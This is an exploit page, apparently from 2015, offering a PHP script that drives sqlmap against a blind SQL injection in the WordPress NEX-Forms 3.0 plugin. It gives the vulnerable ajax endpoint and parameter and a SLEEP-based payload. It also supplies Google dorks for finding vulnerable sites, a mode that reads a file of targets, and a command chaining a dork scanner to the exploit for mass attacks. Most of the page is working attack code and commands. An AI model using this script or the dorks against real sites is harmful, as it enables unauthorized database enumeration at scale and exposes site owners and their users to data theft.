facebook facebook twitter rss

MINI 3xplo1t-SqlMap - WordPress NEX-Forms 3.0 SQL Injection Vulnerability

Author: Cleiton Pinheiro , Published: 01-05-2015
# AUTOR SCRIPT:  Cleiton Pinheiro / Nick: googleINURL
# Exploit name: MINI 3xplo1t-SqlMap - WordPress NEX-Forms 3.0 SQL Injection Vulnerability
# Type: SQL Injection
# Email: inurlbr@gmail.com
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/googleinurl
# Fanpage: https://fb.com/InurlBrasil
# Pastebin http://pastebin.com/u/Googleinurl
# GIT: https://github.com/googleinurl
# PSS: http://packetstormsecurity.com/user/googleinurl
# YOUTUBE: http://youtube.com/c/INURLBrasil
# PLUS: http://google.com/+INURLBrasil
# Who Discovered http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli
# Vulnerability discovered by: Claudio Viviani



# VENTOR
https://wordpress.org/plugins/nex-forms-express-wp-form-builder/

# Vulnerability Description
The "submit_nex_form" ajax function is affected from SQL Injection vulnerability

# Tool Description
Automation script explores targets with the help of SqlMap tool Execute command SqlMap

{$params['folder']} -u '{$params['target']}/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1'
--technique=B -p nex_forms_Id --dbms mysql {$params['proxy']} --random-agent
--answers='follow=N' --dbs --batch --time-sec 10 --level 2 --risk 1

# GET VULN
SQL can be injected in the following GET

GET VULN: nex_forms_Id=(id)
$nex_forms_Id=intval($_REQUEST['nex_forms_Id'])
Ex: http://target.us/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1

# XPL inject DBMS: 'MySQL'

Exploit: AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)
- GOOGLE DORK

inurl:nex-forms-express-wp-form-builder
index of nex-forms-express-wp-form-builde
# COMMAND --help:

-t : SET TARGET.
-f : SET FILE TARGETS.
-p : SET PROXY
Execute:
php wp3xplo1t.php -t target
php wp3xplo1t.php -f targets.txt
php wp3xplo1t.php -t target -p 'http://localhost:9090'

# EXPLOIT MASS USE SCANNER INURLBR

./inurlbr.php --dork 'inurl:nex-forms-express-wp-form-builder' -s wp3xplo1t.txt -q 1,6 --comand-vul "php wp3xplo1t.php -t '_TARGET_'"
# DOWNLOAD INURLBR

https://github.com/googleinurl/SCANNER-INURLBR

# REFERENCE
[1] http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli

EXPLOIT CODE:

<?php

/*
[ I N U R L - B R A S I L ] - [ By GoogleINURL ]
-----------------------------------------------------------------------------

# AUTOR SCRIPT: Cleiton Pinheiro / Nick: googleINURL
# Email: inurlbr@gmail.com
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/googleinurl
# Fanpage: https://fb.com/InurlBrasil
# Pastebin http://pastebin.com/u/Googleinurl
# GIT: https://github.com/googleinurl
# PSS: http://packetstormsecurity.com/user/googleinurl
# YOUTUBE: http://youtube.com/c/INURLBrasil
# PLUS: http://google.com/+INURLBrasil

# Who Discovered http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli
# Vulnerability discovered by: Claudio Viviani
-----------------------------------------------------------------------------

# EXPLOIT NAME: MINI exploit-SQLMAP - WordPress NEX-Forms 3.0 SQL Injection Vulnerability / INURL BRASIL
# VENTOR: https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
# Dork Google: inurl:nex-forms-express-wp-form-builder
# Dork Google: index of nex-forms-express-wp-form-builde
# GET VULN: nex_forms_Id=(id)
# $nex_forms_Id=intval($_REQUEST['nex_forms_Id'])
-----------------------------------------------------------------------------

# DBMS: 'MySQL'
# Exploit: AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)

-----------------------------------------------------------------------------

# Info: The "submit_nex_form" ajax function is affected from SQL Injection vulnerability
# POC: http://target.us/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=(id)+Exploit
-----------------------------------------------------------------------------

# --help:
-t : SET TARGET.
-f : SET FILE TARGETS.
-p : SET PROXY
Execute:
php wp3xplo1t.php -t target
php wp3xplo1t.php -f targets.txt
php wp3xplo1t.php -t target -p 'http://localhost:9090'
-----------------------------------------------------------------------------

# EXPLOIT MASS USE SCANNER INURLBR
# COMMAND: ./inurlbr.php --dork 'inurl:nex-forms-express-wp-form-builder' -s wp3xplo1t.txt -q 1,6 --comand-vul "php wp3xplo1t.php -t '_TARGET_'"
# DOWNLOAD INURLBR: https://github.com/googleinurl/SCANNER-INURLBR
-----------------------------------------------------------------------------
INFO: http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli/
*/


error_reporting(1);
set_time_limit(0);
ini_set('display_errors', 1);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
$folder_SqlMap = "sqlmap"; // set the folder! ex: python ../../sqlmap/sqlmap.py
$op_ = getopt('f:t:p:', array('help::'));
echo "
\t\t\t\t _____
\t\t\t\t (_____) ____ _ _ _ _ _____ _ ____ _ _
\t\t\t\t (() ()) |_ _| \ | | | | | __ \| | | _ \ (_) |
\t\t\t\t \ / | | | \| | | | | |__) | | ______ | |_) |_ __ __ _ ___ _| |
\t\t\t\t \ / | | | . ` | | | | _ /| | |______| | _ <| '__/ _` / __| | |
\t\t\t\t /=\ _| |_| |\ | |__| | | \ \| |____ | |_) | | | (_| \__ \ | |
\t\t\t\t [___] |_____|_| \_|\____/|_| \_\______| |____/|_| \__,_|___/_|_|
\t\t\t\t\033[1;37m0xNeither war between hackers, nor peace for the system.\n
\t\t\t\t[+] [Exploit]: MINI 3xplo1t-SqlMap - WordPress NEX-Forms 3.0 SQL Injection Vulnerability / INURL BRASIL\n\t\t\t\t[+] [help]: --help\033[0m\n\n";
$menu = "
\t\t\t\t -t : SET TARGET.
\t\t\t\t -f : SET FILE TARGETS.
\t\t\t\t -p : SET PROXY
\t\t\t\t Execute:
\t\t\t\t php wp3xplo1t.php -t target
\t\t\t\t php wp3xplo1t.php -f targets.txt
\t\t\t\t php wp3xplo1t.php -t target -p 'http://localhost:9090'
\n";
echo isset($op_['help']) ? exit($menu) : NULL;

$params = array(
'target' => not_isnull_empty($op_['t']) ? (strstr($op_['t'], 'http') ? $op_['t'] : "http://{$op_['t']}") : NULL,
'file' => !not_isnull_empty($op_['t']) && not_isnull_empty($op_['f']) ? $op_['f'] : NULL,
'proxy' => not_isnull_empty($op_['p']) ? "--proxy '{$op_['p']}'" : NULL,
'folder' => $folder_SqlMap,
'line' => "\t\t\t\t--------------------------------------------------------------------------------------------------------"
);

not_isnull_empty($params['target']) && not_isnull_empty($params['file']) ? exit("\t\t\t\t[X] [ERRO] DEFINE TARGET OR FILE TARGET\n") : NULL;
not_isnull_empty($params['target']) ? __exec($params) . exit() : NULL;
not_isnull_empty($params['file']) ? __listTarget($params) . exit() : NULL;

function not_isnull_empty($valor = NULL) {
RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;
}

function __plus() {
ob_flush();
flush();
}

function __listTarget($file) {
$tgt_ = array_unique(array_filter(explode("\n", file_get_contents($file['file']))));
echo "\n\033[1;37m[!] [" . date("H:i:s") . "] [INFO] TOTAL TARGETS LOADED : " . count($tgt_) . "\033[0m\n";
foreach ($tgt_ as $url) {
echo "\033[1;37m[+] [" . date("H:i:s") . "] [INFO] SCANNING : {$url} \033[0m\n";
__plus();
$file['target'] = $url;
__exec($file) . __plus();
}
}

function __exec($params) {
__plus();
echo "\033[1;37m{$params['line']}\n[!] [" . date("H:i:s") . "] [INFO] starting SqlMap...\n";
echo "[+] [" . date("H:i:s") . "] [INFO] TARGET: {$params['target']}/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id={SQL-INJECTION}\033[0m\n";
$command = "{$params['folder']} -u '{$params['target']}/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1' "
. " -p nex_forms_Id --dbms mysql {$params['proxy']} --random-agent "
. " --answers='follow=N' --dbs --batch --time-sec 10 --level 2 --risk 1";
system($command, $dados);
__plus();
exit(0);
}

Like us on Facebook :